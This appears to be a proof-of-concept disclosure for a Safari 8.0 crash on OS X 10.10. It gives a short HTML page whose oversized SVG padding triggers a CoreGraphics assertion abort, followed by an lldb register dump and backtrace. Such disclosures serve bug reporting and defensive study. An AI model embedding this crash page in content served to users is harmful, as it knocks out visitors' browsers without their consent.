Apple Mac OSX Safari 8.0 – Crash (PoC)
@w3bd3vil <!DOCTYPE html> <head> <style> svg { padding-top: 1337%; box-sizing: border-box; } </style> </head> <body> <svg viewBox="0 0 500 500" width="500" height="500"> <polyline points="1 1,2 2"></polyline> </svg> </body> </html> <!-- Safari 8.0 / OSX 10.10 * thread #1: tid = 0xc2e73, 0x00007fff8ab10282 libsystem_kernel.dylib`__pthread_kill + 10, queue = 'com.apple.main-thread', stop reason = signal SIGABRT frame #0: 0x00007fff8ab10282 libsystem_kernel.dylib`__pthread_kill + 10 libsystem_kernel.dylib`__pthread_kill + 10: -> 0x7fff8ab10282: jae 0x7fff8ab1028c ; __pthread_kill + 20 0x7fff8ab10284: movq %rax, %rdi 0x7fff8ab10287: jmp 0x7fff8ab0bca3 ; cerror_nocancel 0x7fff8ab1028c: retq (lldb) register read General Purpose Registers: rax = 0x0000000000000000 rbx = 0x0000000000000006 rcx = 0x00007fff5b761d98 rdx = 0x0000000000000000 rdi = 0x000000000000140f rsi = 0x0000000000000006 rbp = 0x00007fff5b761dc0 rsp = 0x00007fff5b761d98 r8 = 0x0000000000000000 r9 = 0x00000000000000a8 r10 = 0x0000000008000000 r11 = 0x0000000000000206 r12 = 0x00007fff84b36487 "transform_is_valid(m)" r13 = 0x0000000108c2c000 r14 = 0x00007fff747ae300 libsystem_pthread.dylib`_thread r15 = 0x00007fff84b36477 "Paths/CGPath.cc" rip = 0x00007fff8ab10282 libsystem_kernel.dylib`__pthread_kill + 10 rflags = 0x0000000000000206 cs = 0x0000000000000007 fs = 0x0000000000000000 gs = 0x0000000000000000 (lldb) bt * thread #1: tid = 0xc2e73, 0x00007fff8ab10282 libsystem_kernel.dylib`__pthread_kill + 10, queue = 'com.apple.main-thread', stop reason = signal SIGABRT * frame #0: 0x00007fff8ab10282 libsystem_kernel.dylib`__pthread_kill + 10 frame #1: 0x00007fff904df4c3 libsystem_pthread.dylib`pthread_kill + 90 frame #2: 0x00007fff88d36b73 libsystem_c.dylib`abort + 129 frame #3: 0x00007fff88cfec59 libsystem_c.dylib`__assert_rtn + 321 frame #4: 0x00007fff84643cb6 CoreGraphics`CGPathCreateMutableCopyByTransformingPath + 242 frame #5: 0x00007fff84692a2f CoreGraphics`CGContextAddPath + 93 frame #6: 0x00007fff8e9b5f04 WebCore`WebCore::GraphicsContext::fillPath(WebCore::Path const&) + 148 frame #7: 0x00007fff8f479ad1 WebCore`WebCore::RenderSVGResourceSolidColor::postApplyResource(WebCore::RenderElement&, WebCore::GraphicsContext*&, unsigned short, WebCore::Path const*, WebCore::RenderSVGShape const*) + 65 frame #8: 0x00007fff8f47a2fa WebCore`WebCore::RenderSVGShape::fillShape(WebCore::RenderStyle const&, WebCore::GraphicsContext*) + 122 frame #9: 0x00007fff8f47a633 WebCore`WebCore::RenderSVGShape::fillStrokeMarkers(WebCore::PaintInfo&) + 131 frame #10: 0x00007fff8eab4aeb WebCore`WebCore::RenderSVGShape::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 379 frame #11: 0x00007fff8eab477d WebCore`WebCore::RenderSVGRoot::paintReplaced(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 1325 frame #12: 0x00007fff8ea2c3f2 WebCore`WebCore::RenderReplaced::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 722 frame #13: 0x00007fff8ef300a8 WebCore`WebCore::InlineElementBox::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::LayoutUnit, WebCore::LayoutUnit) + 312 frame #14: 0x00007fff8e9b1e83 WebCore`WebCore::InlineFlowBox::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::LayoutUnit, WebCore::LayoutUnit) + 1251 frame #15: 0x00007fff8e9b1929 WebCore`WebCore::RootInlineBox::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::LayoutUnit, WebCore::LayoutUnit) + 89 frame #16: 0x00007fff8e9613c6 WebCore`WebCore::RenderLineBoxList::paint(WebCore::RenderBoxModelObject*, WebCore::PaintInfo&, WebCore::LayoutPoint const&) const + 694 frame #17: 0x00007fff8e95e9a3 WebCore`WebCore::RenderBlock::paintContents(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 67 frame #18: 0x00007fff8e95dd54 WebCore`WebCore::RenderBlock::paintObject(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 420 frame #19: 0x00007fff8e95ffdf WebCore`WebCore::RenderBlock::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 287 frame #20: 0x00007fff8f3d74c9 WebCore`WebCore::RenderBlock::paintChild(WebCore::RenderBox&, WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::PaintInfo&, bool) + 393 frame #21: 0x00007fff8e95eaa8 WebCore`WebCore::RenderBlock::paintChildren(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::PaintInfo&, bool) + 72 frame #22: 0x00007fff8e95ea50 WebCore`WebCore::RenderBlock::paintContents(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 240 frame #23: 0x00007fff8e95dd54 WebCore`WebCore::RenderBlock::paintObject(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 420 frame #24: 0x00007fff8e95ffdf WebCore`WebCore::RenderBlock::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 287 frame #25: 0x00007fff8f3d74c9 WebCore`WebCore::RenderBlock::paintChild(WebCore::RenderBox&, WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::PaintInfo&, bool) + 393 frame #26: 0x00007fff8e95eaa8 WebCore`WebCore::RenderBlock::paintChildren(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::PaintInfo&, bool) + 72 frame #27: 0x00007fff8e95ea50 WebCore`WebCore::RenderBlock::paintContents(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 240 frame #28: 0x00007fff8e95dd54 WebCore`WebCore::RenderBlock::paintObject(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 420 frame #29: 0x00007fff8e95ffdf WebCore`WebCore::RenderBlock::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 287 frame #30: 0x00007fff8f3d74c9 WebCore`WebCore::RenderBlock::paintChild(WebCore::RenderBox&, WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::PaintInfo&, bool) + 393 frame #31: 0x00007fff8e95eaa8 WebCore`WebCore::RenderBlock::paintChildren(WebCore::PaintInfo&, WebCore::LayoutPoint const&, WebCore::PaintInfo&, bool) + 72 frame #32: 0x00007fff8e95ea50 WebCore`WebCore::RenderBlock::paintContents(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 240 frame #33: 0x00007fff8e95dd54 WebCore`WebCore::RenderBlock::paintObject(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 420 frame #34: 0x00007fff8e95ffdf WebCore`WebCore::RenderBlock::paint(WebCore::PaintInfo&, WebCore::LayoutPoint const&) + 287 frame #35: 0x00007fff8e95e8e2 WebCore`WebCore::RenderLayer::paintForegroundForFragmentsWithPhase(WebCore::PaintPhase, WTF::Vector<WebCore::LayerFragment, 1ul, WTF::CrashOnOverflow> const&, WebCore::GraphicsContext*, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int, WebCore::RenderObject*) + 370 frame #36: 0x00007fff8e95e5b7 WebCore`WebCore::RenderLayer::paintForegroundForFragments(WTF::Vector<WebCore::LayerFragment, 1ul, WTF::CrashOnOverflow> const&, WebCore::GraphicsContext*, WebCore::GraphicsContext*, WebCore::LayoutRect const&, bool, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int, WebCore::RenderObject*, bool, bool) + 423 frame #37: 0x00007fff8e95d252 WebCore`WebCore::RenderLayer::paintLayerContents(WebCore::GraphicsContext*, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int) + 2386 frame #38: 0x00007fff8e95c6e2 WebCore`WebCore::RenderLayer::paintLayer(WebCore::GraphicsContext*, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int) + 1010 frame #39: 0x00007fff8e95d392 WebCore`WebCore::RenderLayer::paintLayerContents(WebCore::GraphicsContext*, WebCore::RenderLayer::LayerPaintingInfo const&, unsigned int) + 2706 frame #40: 0x00007fff8e988376 WebCore`WebCore::RenderLayerBacking::paintIntoLayer(WebCore::GraphicsLayer const*, WebCore::GraphicsContext*, WebCore::IntRect const&, unsigned int, unsigned int) + 358 frame #41: 0x00007fff8f432baf WebCore`WebCore::RenderLayerBacking::paintContents(WebCore::GraphicsLayer const*, WebCore::GraphicsContext&, unsigned int, WebCore::FloatRect const&) + 799 frame #42: 0x00007fff8ee86924 WebCore`WebCore::GraphicsLayer::paintGraphicsLayerContents(WebCore::GraphicsContext&, WebCore::FloatRect const&) + 132 frame #43: 0x00007fff8f3b2f59 WebCore`WebCore::PlatformCALayer::drawLayerContents(CGContext*, WebCore::PlatformCALayer*, WTF::Vector<WebCore::FloatRect, 5ul, WTF::CrashOnOverflow>&) + 361 frame #44: 0x00007fff8f60f367 WebCore`WebCore::TileGrid::platformCALayerPaintContents(WebCore::PlatformCALayer*, WebCore::GraphicsContext&, WebCore::FloatRect const&) + 167 frame #45: 0x00007fff8f6983fc WebCore`-[WebSimpleLayer drawInContext:] + 172 frame #46: 0x00007fff85249355 QuartzCore`CABackingStoreUpdate_ + 3820 frame #47: 0x00007fff85248463 QuartzCore`___ZN2CA5Layer8display_Ev_block_invoke + 59 frame #48: 0x00007fff8524841f QuartzCore`x_blame_allocations + 81 frame #49: 0x00007fff85247f1c QuartzCore`CA::Layer::display_() + 1546 frame #50: 0x00007fff8f69831b WebCore`-[WebSimpleLayer display] + 43 frame #51: 0x00007fff85247641 QuartzCore`CA::Layer::display_if_needed(CA::Transaction*) + 603 frame #52: 0x00007fff85246d7d QuartzCore`CA::Layer::layout_and_display_if_needed(CA::Transaction*) + 35 frame #53: 0x00007fff8524650e QuartzCore`CA::Context::commit_transaction(CA::Transaction*) + 242 frame #54: 0x00007fff85246164 QuartzCore`CA::Transaction::commit() + 390 frame #55: 0x00007fff85256f55 QuartzCore`CA::Transaction::observer_callback(__CFRunLoopObserver*, unsigned long, void*) + 71 frame #56: 0x00007fff867e5d87 CoreFoundation`__CFRUNLOOP_IS_CALLING_OUT_TO_AN_OBSERVER_CALLBACK_FUNCTION__ + 23 frame #57: 0x00007fff867e5ce0 CoreFoundation`__CFRunLoopDoObservers + 368 frame #58: 0x00007fff867d7858 CoreFoundation`CFRunLoopRunSpecific + 328 frame #59: 0x00007fff8434943f HIToolbox`RunCurrentEventLoopInMode + 235 frame #60: 0x00007fff843491ba HIToolbox`ReceiveNextEventCommon + 431 frame #61: 0x00007fff84348ffb HIToolbox`_BlockUntilNextEventMatchingListInModeWithFilter + 71 frame #62: 0x00007fff90583821 AppKit`_DPSNextEvent + 964 frame #63: 0x00007fff90582fd0 AppKit`-[NSApplication nextEventMatchingMask:untilDate:inMode:dequeue:] + 194 frame #64: 0x00007fff90576f73 AppKit`-[NSApplication run] + 594 frame #65: 0x00007fff90562424 AppKit`NSApplicationMain + 1832 frame #66: 0x00007fff8d881ef2 libxpc.dylib`_xpc_objc_main + 793 frame #67: 0x00007fff8d883a9d libxpc.dylib`xpc_main + 490 frame #68: 0x000000010449ab40 com.apple.WebKit.WebContent`___lldb_unnamed_function1$$com.apple.WebKit.WebContent + 16 frame #69: 0x00007fff850755c9 libdyld.dylib`start + 1 frame #70: 0x00007fff850755c9 libdyld.dylib`start + 1 (lldb) --> |